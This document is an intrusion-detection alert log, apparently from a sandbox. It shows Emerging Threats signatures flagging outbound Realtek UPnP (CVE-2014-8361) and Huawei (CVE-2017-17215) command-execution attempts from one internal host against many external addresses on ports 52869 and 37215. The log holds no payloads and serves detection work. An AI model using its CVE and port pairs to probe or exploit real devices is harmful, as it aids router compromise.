07/20/24-23:01:13.336391	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43744	52869	192.168.2.14	130.190.186.142
07/20/24-23:01:22.776061	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35584	37215	192.168.2.14	197.144.82.108
07/20/24-23:01:23.025064	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45294	52869	192.168.2.14	97.239.211.144
07/20/24-23:01:25.230671	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52352	37215	192.168.2.14	92.118.222.254
07/20/24-23:01:37.167957	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33178	37215	192.168.2.14	144.118.94.52
07/20/24-23:01:19.235468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57468	37215	192.168.2.14	63.230.59.42
07/20/24-23:01:05.812829	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42766	52869	192.168.2.14	149.86.2.31
07/20/24-23:01:34.694504	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37156	52869	192.168.2.14	142.221.175.109
07/20/24-23:01:33.068258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50026	37215	192.168.2.14	41.108.162.26
07/20/24-23:01:34.909156	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47934	52869	192.168.2.14	53.20.227.219
07/20/24-23:01:05.905239	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41204	37215	192.168.2.14	197.179.75.211
07/20/24-23:01:37.222600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52084	37215	192.168.2.14	157.112.206.46
07/20/24-23:01:34.942495	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54302	52869	192.168.2.14	40.169.74.201
07/20/24-23:01:13.331147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36460	52869	192.168.2.14	162.57.74.72
07/20/24-23:01:29.189808	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58774	52869	192.168.2.14	167.169.213.136
07/20/24-23:01:33.046879	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51160	37215	192.168.2.14	41.4.60.155
07/20/24-23:01:33.044521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45706	37215	192.168.2.14	44.58.161.121
07/20/24-23:01:34.952294	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60444	52869	192.168.2.14	133.182.11.249
07/20/24-23:01:25.184750	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38834	52869	192.168.2.14	197.254.135.133
07/20/24-23:01:25.283565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35896	37215	192.168.2.14	197.38.58.18
07/20/24-23:01:25.294369	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54890	37215	192.168.2.14	197.48.182.247
07/20/24-23:01:14.416273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34880	37215	192.168.2.14	197.43.62.172
07/20/24-23:01:05.927305	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51956	37215	192.168.2.14	112.118.31.143
07/20/24-23:01:13.331310	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59154	52869	192.168.2.14	99.202.52.30
07/20/24-23:01:29.187581	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47646	52869	192.168.2.14	197.234.206.236
07/20/24-23:01:07.662924	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46062	37215	192.168.2.14	197.29.25.95
07/20/24-23:01:13.333147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33012	52869	192.168.2.14	37.92.251.97
07/20/24-23:01:13.329548	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33402	52869	192.168.2.14	121.241.252.236
07/20/24-23:01:24.078342	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42294	52869	192.168.2.14	39.28.170.200
07/20/24-23:01:02.415739	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52714	37215	192.168.2.14	181.36.87.26
07/20/24-23:01:13.333076	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49814	52869	192.168.2.14	167.60.40.217
07/20/24-23:01:34.958511	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34896	52869	192.168.2.14	99.174.108.83
07/20/24-23:01:13.334111	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47872	52869	192.168.2.14	87.85.193.52
07/20/24-23:01:30.874795	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60010	52869	192.168.2.14	9.55.208.82
07/20/24-23:01:11.474688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58412	37215	192.168.2.14	157.233.217.6
07/20/24-23:01:25.287093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36742	37215	192.168.2.14	197.200.137.216
07/20/24-23:01:25.230630	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56262	37215	192.168.2.14	41.35.76.74
07/20/24-23:01:02.414137	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46280	37215	192.168.2.14	197.241.150.191
07/20/24-23:01:05.901568	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52186	37215	192.168.2.14	157.205.166.142
07/20/24-23:01:13.329789	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48634	52869	192.168.2.14	118.44.218.190
07/20/24-23:01:14.431063	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45882	37215	192.168.2.14	197.219.184.205
07/20/24-23:01:33.183957	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36250	52869	192.168.2.14	39.157.230.122
07/20/24-23:01:19.231068	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41934	37215	192.168.2.14	48.32.197.143
07/20/24-23:01:33.081950	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51934	37215	192.168.2.14	197.196.65.12
07/20/24-23:01:02.411450	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53680	37215	192.168.2.14	157.220.26.182
07/20/24-23:01:25.301172	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44536	37215	192.168.2.14	41.206.251.51
07/20/24-23:01:06.908121	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47792	52869	192.168.2.14	211.247.22.129
07/20/24-23:01:14.397957	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44358	37215	192.168.2.14	41.41.24.198
07/20/24-23:01:05.479588	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47768	52869	192.168.2.14	158.178.147.148
07/20/24-23:01:07.684526	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52702	37215	192.168.2.14	197.234.163.92
07/20/24-23:01:24.827189	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54392	52869	192.168.2.14	106.0.79.225
07/20/24-23:01:29.577331	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47006	52869	192.168.2.14	100.167.118.103
07/20/24-23:01:11.467355	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42748	37215	192.168.2.14	157.15.22.51
07/20/24-23:01:23.004732	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54816	52869	192.168.2.14	73.141.57.7
07/20/24-23:01:28.196416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60728	37215	192.168.2.14	157.189.212.188
07/20/24-23:01:22.804406	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59690	37215	192.168.2.14	151.105.20.105
07/20/24-23:01:24.077306	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46878	52869	192.168.2.14	4.227.121.101
07/20/24-23:01:28.222987	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43558	37215	192.168.2.14	197.78.197.233
07/20/24-23:01:13.329423	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57202	52869	192.168.2.14	211.192.130.220
07/20/24-23:01:14.397316	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52822	37215	192.168.2.14	197.42.104.185
07/20/24-23:01:28.170987	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37550	37215	192.168.2.14	208.181.202.121
07/20/24-23:01:02.416600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33058	37215	192.168.2.14	197.88.129.45
07/20/24-23:01:02.440657	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32874	37215	192.168.2.14	197.5.87.246
07/20/24-23:01:37.122769	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50500	37215	192.168.2.14	222.247.173.186
07/20/24-23:01:14.406186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34374	37215	192.168.2.14	41.197.249.163
07/20/24-23:01:34.899763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50474	52869	192.168.2.14	45.24.39.65
07/20/24-23:01:33.049931	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37904	37215	192.168.2.14	41.171.101.241
07/20/24-23:01:34.939612	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44338	52869	192.168.2.14	167.136.67.125
07/20/24-23:01:34.918353	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58686	52869	192.168.2.14	157.6.186.252
07/20/24-23:01:05.898214	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42456	37215	192.168.2.14	157.212.111.29
07/20/24-23:01:19.227537	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49074	37215	192.168.2.14	157.27.129.166
07/20/24-23:01:25.230226	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47544	37215	192.168.2.14	197.224.208.150
07/20/24-23:01:33.390286	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49362	52869	192.168.2.14	162.145.238.215
07/20/24-23:01:11.478031	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49060	37215	192.168.2.14	2.71.126.200
07/20/24-23:01:14.398477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43578	37215	192.168.2.14	157.227.1.44
07/20/24-23:01:02.408596	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51150	37215	192.168.2.14	41.188.32.205
07/20/24-23:01:05.475968	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42316	52869	192.168.2.14	39.70.52.243
07/20/24-23:01:31.206469	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46596	52869	192.168.2.14	142.116.242.190
07/20/24-23:01:24.727268	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34282	52869	192.168.2.14	58.186.168.57
07/20/24-23:01:05.439190	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58474	52869	192.168.2.14	177.133.134.55
07/20/24-23:01:11.481655	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60998	37215	192.168.2.14	41.128.0.91
07/20/24-23:01:19.224550	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42688	37215	192.168.2.14	197.195.33.153
07/20/24-23:01:28.208110	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55854	37215	192.168.2.14	157.249.158.201
07/20/24-23:01:07.680463	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43712	37215	192.168.2.14	41.167.203.181
07/20/24-23:01:24.075435	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40352	52869	192.168.2.14	157.94.246.106
07/20/24-23:01:05.482928	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38976	52869	192.168.2.14	170.123.158.68
07/20/24-23:01:24.078416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49964	52869	192.168.2.14	174.113.101.241
07/20/24-23:01:11.477131	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49936	37215	192.168.2.14	197.70.79.248
07/20/24-23:01:22.772933	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39898	37215	192.168.2.14	157.112.88.160
07/20/24-23:01:14.397897	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43776	37215	192.168.2.14	197.219.60.255
07/20/24-23:01:05.898280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41186	37215	192.168.2.14	166.80.241.91
07/20/24-23:01:14.397897	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41518	37215	192.168.2.14	41.189.142.158
07/20/24-23:01:34.972618	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50346	52869	192.168.2.14	192.67.13.54
07/20/24-23:01:34.964842	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47942	52869	192.168.2.14	27.2.47.157
07/20/24-23:01:11.472602	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34188	37215	192.168.2.14	41.92.243.137
07/20/24-23:01:30.603978	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40878	52869	192.168.2.14	1.85.153.115
07/20/24-23:01:13.331639	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45466	52869	192.168.2.14	5.43.253.115
07/20/24-23:01:30.624414	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33018	52869	192.168.2.14	165.24.106.58
07/20/24-23:01:07.410378	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47928	52869	192.168.2.14	196.159.190.117
07/20/24-23:01:05.623290	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60148	52869	192.168.2.14	27.79.119.12
07/20/24-23:01:33.585677	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42708	52869	192.168.2.14	81.201.211.116
07/20/24-23:01:19.224455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34386	37215	192.168.2.14	157.207.11.247
07/20/24-23:01:07.674717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49844	37215	192.168.2.14	197.158.177.62
07/20/24-23:01:33.044521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35302	37215	192.168.2.14	41.175.70.101
07/20/24-23:01:33.030189	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53536	37215	192.168.2.14	212.82.97.159
07/20/24-23:01:02.414527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58460	37215	192.168.2.14	207.21.193.219
07/20/24-23:01:33.110605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47704	37215	192.168.2.14	167.34.165.20
07/20/24-23:01:07.653968	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49820	37215	192.168.2.14	157.65.23.29
07/20/24-23:01:32.789082	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42186	52869	192.168.2.14	148.132.169.125
07/20/24-23:01:34.911249	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48440	52869	192.168.2.14	77.70.6.175
07/20/24-23:01:24.077306	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38712	52869	192.168.2.14	59.161.187.149
07/20/24-23:01:28.222987	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33182	37215	192.168.2.14	153.229.202.106
07/20/24-23:01:33.896440	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40096	52869	192.168.2.14	105.235.42.192
07/20/24-23:01:22.779210	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50010	37215	192.168.2.14	157.19.201.2
07/20/24-23:01:13.334387	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48608	52869	192.168.2.14	64.61.21.55
07/20/24-23:01:34.952293	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45738	52869	192.168.2.14	91.156.224.14
07/20/24-23:01:05.901568	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36072	37215	192.168.2.14	41.234.82.81
07/20/24-23:01:37.122769	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38762	37215	192.168.2.14	157.136.193.107
07/20/24-23:01:34.899868	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36874	52869	192.168.2.14	175.5.152.252
07/20/24-23:01:07.676921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43106	37215	192.168.2.14	197.58.85.188
07/20/24-23:01:13.331580	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52870	52869	192.168.2.14	49.217.12.33
07/20/24-23:01:33.499276	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59312	52869	192.168.2.14	218.196.239.193
07/20/24-23:01:34.915141	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39404	52869	192.168.2.14	53.62.238.12
07/20/24-23:01:11.474688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40194	37215	192.168.2.14	157.196.0.117
07/20/24-23:01:14.406708	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44946	37215	192.168.2.14	13.209.236.20
07/20/24-23:01:29.672048	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55654	52869	192.168.2.14	71.136.139.92
07/20/24-23:01:14.398311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60090	37215	192.168.2.14	153.32.219.22
07/20/24-23:01:29.688290	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49438	52869	192.168.2.14	148.218.221.20
07/20/24-23:01:32.823464	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37674	52869	192.168.2.14	13.17.82.210
07/20/24-23:01:33.065212	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45746	37215	192.168.2.14	157.3.246.123
07/20/24-23:01:33.049931	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44952	37215	192.168.2.14	4.138.223.143
07/20/24-23:01:33.277218	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46748	52869	192.168.2.14	114.78.57.39
07/20/24-23:01:13.331934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51736	52869	192.168.2.14	213.207.143.98
07/20/24-23:01:19.334799	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46634	37215	192.168.2.14	41.195.94.179
07/20/24-23:01:37.120918	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34038	37215	192.168.2.14	96.104.96.175
07/20/24-23:01:37.222600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41322	37215	192.168.2.14	41.150.237.101
07/20/24-23:01:34.958933	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57636	52869	192.168.2.14	222.32.122.10
07/20/24-23:01:34.995513	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60212	52869	192.168.2.14	124.36.191.164
07/20/24-23:01:06.170284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50516	52869	192.168.2.14	213.207.143.98
07/20/24-23:01:07.664911	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37448	37215	192.168.2.14	157.174.72.27
07/20/24-23:01:33.038711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38328	37215	192.168.2.14	157.219.228.225
07/20/24-23:01:33.040755	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55976	37215	192.168.2.14	157.78.155.236
07/20/24-23:01:11.485692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58572	37215	192.168.2.14	41.182.225.116
07/20/24-23:01:19.233961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43372	37215	192.168.2.14	146.250.115.112
07/20/24-23:01:22.786757	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59466	37215	192.168.2.14	197.12.119.250
07/20/24-23:01:24.468357	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41214	52869	192.168.2.14	109.148.201.214
07/20/24-23:01:25.281450	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60678	37215	192.168.2.14	31.67.243.181
07/20/24-23:01:32.960530	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50292	52869	192.168.2.14	210.67.14.178
07/20/24-23:01:34.940230	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50294	52869	192.168.2.14	44.203.11.143
07/20/24-23:01:28.195717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43052	37215	192.168.2.14	99.76.24.125
07/20/24-23:01:05.902118	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39342	37215	192.168.2.14	122.197.102.121
07/20/24-23:01:37.158916	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45266	37215	192.168.2.14	45.166.78.170
07/20/24-23:01:34.927043	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50038	52869	192.168.2.14	163.184.63.212
07/20/24-23:01:28.170987	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58226	37215	192.168.2.14	41.28.215.84
07/20/24-23:01:25.196788	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39890	52869	192.168.2.14	111.237.207.198
07/20/24-23:01:34.911761	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47332	52869	192.168.2.14	70.48.172.224
07/20/24-23:01:13.330930	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50994	52869	192.168.2.14	60.144.29.97
07/20/24-23:01:14.407392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35672	37215	192.168.2.14	197.230.179.116
07/20/24-23:01:28.200134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36806	37215	192.168.2.14	197.192.85.228
07/20/24-23:01:34.931386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59206	52869	192.168.2.14	124.185.245.199
07/20/24-23:01:33.100578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46072	37215	192.168.2.14	157.130.214.93
07/20/24-23:01:07.672294	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60386	37215	192.168.2.14	197.207.13.167
07/20/24-23:01:02.405571	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46206	37215	192.168.2.14	157.208.127.244
07/20/24-23:01:33.038711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38034	37215	192.168.2.14	157.61.42.60
07/20/24-23:01:29.703487	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53464	52869	192.168.2.14	202.94.49.200
07/20/24-23:01:25.230742	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56478	37215	192.168.2.14	197.101.109.84
07/20/24-23:01:37.121494	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33094	37215	192.168.2.14	111.100.170.105
07/20/24-23:01:34.922466	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54792	52869	192.168.2.14	169.172.43.160
07/20/24-23:01:14.399761	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52466	37215	192.168.2.14	197.178.113.254
07/20/24-23:01:29.173099	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36330	52869	192.168.2.14	71.165.43.178
07/20/24-23:01:32.981292	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53862	52869	192.168.2.14	168.49.16.106
07/20/24-23:01:05.446481	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38530	52869	192.168.2.14	101.71.112.133
